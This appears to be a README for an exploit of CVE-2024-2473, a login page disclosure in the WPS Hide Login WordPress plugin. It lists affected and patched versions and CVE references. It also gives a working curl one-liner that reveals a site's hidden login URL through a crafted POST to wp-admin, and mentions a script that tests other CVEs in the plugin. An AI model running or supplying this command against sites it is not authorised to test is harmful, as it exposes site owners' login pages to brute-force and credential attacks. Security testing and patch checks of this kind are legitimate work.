WPS Hide Login <= 1.9.15.2 - Login Page disclosure (CVE-2024-2473)

Disclose login page hidden by WPS-Hide-Login WordPress plugin.

Affected versions: 1.5.1 to 1.9.15.2

Patched version: 1.9.16

Exploitation cURL command

curl -X POST https://$target/wp-admin/?action=postpass -d 'post_password=' -sko /dev/null -D - | grep -i ^location | cut -d ' ' -f 2- | cut -d '?' -f 1

Exploitation Python script

This script include tests for other CVEs on WPS-Hide-Login WordPress plugin.

./show-login.py -h

References

• CVE-2024-2473
• CVE-2021-24917
• CVE-2019-15826
• CVE-2019-15825
• CVE-2019-15824
• CVE-2019-15823